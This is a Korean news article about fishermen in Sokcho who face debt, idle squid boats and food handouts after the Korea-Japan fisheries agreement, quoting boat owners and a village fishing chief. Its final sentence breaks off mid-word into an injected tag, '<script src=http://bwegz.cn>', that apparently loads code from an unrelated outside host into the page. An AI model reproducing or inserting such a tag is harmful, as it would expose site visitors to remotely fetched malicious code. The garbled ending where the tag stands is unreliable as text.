▲ "◇   청호동 주민들이 속초수협으로
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이른 아침 속초항.

제각기 잡아온 생선을 쏟아내던 어선들로 분주한 항구의 모습은 온데간데 없고 스산함마저 느낄 정도로 한산했다.

항구마다 출어를 포기한 배들은 겹겹이 쌓여 있고 삼삼오오 짝을 이뤄 술병을 비워대는 어업인들의 모습이 여기저기서 눈에 띄었다.

지난 1월 22일 발효된 한·일어업협정으로 인한 어업인들의 상실감과 정부에 대한 불신감은 생각보다 훨씬 심각했다.

어업인들은 불과 2∼3년전의 조금은 풍요로웠던 생활은 이제 예전의 향수로만 남았다고 성토했다.
게다가 어장 축소로 어획할 고기도 그만큼 줄어 안고 있는 빚은 어떻게 청산할 지 앞이 캄캄하다는 푸념을 저마다 쏟아냈다.

98톤급 오징어배로 평생을 오징어잡이가 천직이라고 믿고 바다에 정열을 다바쳐 왔다는 김의남(58세)씨.
김씨는 2년전만해도 대화퇴를 터전으로 만선의 기쁨과 풍요로움을 한껏 누리던 남부럽지 않던 어업인이었다.
그러나 요즘은 오징어 어획 성수기를 앞두고도 본격적인 출어준비는 커녕 정박해 있는 자신의 배를 생각없이 바라보는 것이 일과가 됐다.
한·일협상으로 인해 오징어 황금어장인 대화퇴에서 어획할 수 있는 양이 대폭 줄었고 주변의 채낚기어선들과 어획경합을 벌일 경우 출어경비 조차 건질 수 없다는 생각에 선뜻 출어를 결심하지 못하고 있기 때문이다.
김씨는 다음달 오징어 성어기를 맞아도 40여척의 선박중 출어선박은 6척 정도에 그칠 것이라고 말했다. 모두들 출어할 수록 빚만 는다는 판단을 내리고 있기 때문이란 설명이다.
『최근에 1천만원을 들여 배를 수리해 3일내내 동해에서 오징어를 잡았으나 손에 들어온 돈은 겨우 60만원밖에 안됐다』는 김씨는 『이제는 어가도 따라주지 않아 고기를 잡아서 빚도 갚고 생계를 꾸린다는 것은 먼 얘기처럼 느껴진다』며 앞으로의 생활을 걱정했다.

비단 이런 사정은 김씨만이 아니다.
속초지구오징어채낚기선주협회 이종수전무는 정부의 잘못으로 어촌이 부도나고 있다고 토로했다.
현재 속초지구협회에 소속된 오징어채낚기대형선박은 모두 42척. 2년전에 비해 10척이 넘게 줄었다. 현재도 부도위기에 몰린 선주들이 여럿있어 올해도 5∼6척이 파산할 것으로 이전무는 내다봤다.
이전무는 『불과 몇년전만해도 어촌에서 대형 오징어배 한척만 보유하고 있으면 속된말로 떵떵거리며 살았으나 최근에는 잦은 부도로 외국으로 도망간 사람도 있고 그로인한 피해자가 속출하고 있다』면서 『고기를 잡아 현상유지하기 조차도 이제 힘들어졌다』고 말했다.
그는 또 『한·일어업협상에 실패해 어업인들은 실망시킨 정부가 감척으로 또한번 어업인들을 울리고 있다』면서 『어업인들이 생업에 전념할 수 있도록 감척대상인지 아닌지를 빠른 시일내에 알려주고 감척선박에 대해서는 현실성 있는 보상을 해줘야 하나 여러경로를 통해 알아본 결과 기대이하』라고 토로했다.

선주들은 한해만 조업이 부진해도 파산하는 어업인들이 늘고 있는 상황에서 올해도 지난해에 이어 비관적이라며 빠른 시일내에 현실성 있는 감척이 이뤄져 더이상의 어업인 피해가 있어서는 안된다고 성토했다.

어려운 사정은 연근해어업인들도 마찬가지.
속초시 청호동의 속칭 「아바이 마을」. 함경도출신 어업인들이 대부분이어서 이렇게 불리우는 이 마을 어업인들은 하루하루 생계를 걱정할 만큼 사정이 심각했다.

3년전부터 연근해에서 고기가 잡히지 않기 때문이다. 지난해는 특히 IMF로 인해 출어는 생각조차 못해 어려움을 겪은데다가 올해는 작년보다 고기가 더 나지 않고 있다.
어업인들은 삶의 터전을 포기한채 막노동이나 시에서 주관하는 취로사업 등을 알아보고 있으나 신청자가 몰려 이도 여의치 않은 실정이다.

상황이 이렇다보니 지난 13일에는 속초수협이 쌀과 라면을 생계가 곤란한 어업인들에게 나눠주기도 했다.
이들도 몇년전까지만 해도 연안에서 나는 고기를 잡아 자식들 대학교육까지 뒷바라지했다.
그러나 요즘은 장성해가는 자식들이 부담스러울 정도로 생활에 찌들어 있다.

이마을 어촌계장을 맡고 있는 김영빈(78)씨는 『1백50여척중 1백여척은 매일 출어하지만 빈배로 돌아오는 것이 다반사』라고 말했다.
지난해 생업을 포기한 어업인들이 많았고 올해도 이같은 상황이 지속되고 있어 다른 생계수단을 찾기 위해 고향을 떠나는 어업인들도 늘고 있다고 설명했다.

김씨는 『연근해조업이 원활치 않아 대형오징어어선에 취업도 생각해보지만 이들 어선조차 한·일어업협정으로 출어를 포기하고 있어 이러지도 저러지도 못하고 있다』며 한숨을 토했다.
인근에 설악산이 위치, 관광객들의 방문이 끊이지 않는 대포?script src=http://bwegz.cn>

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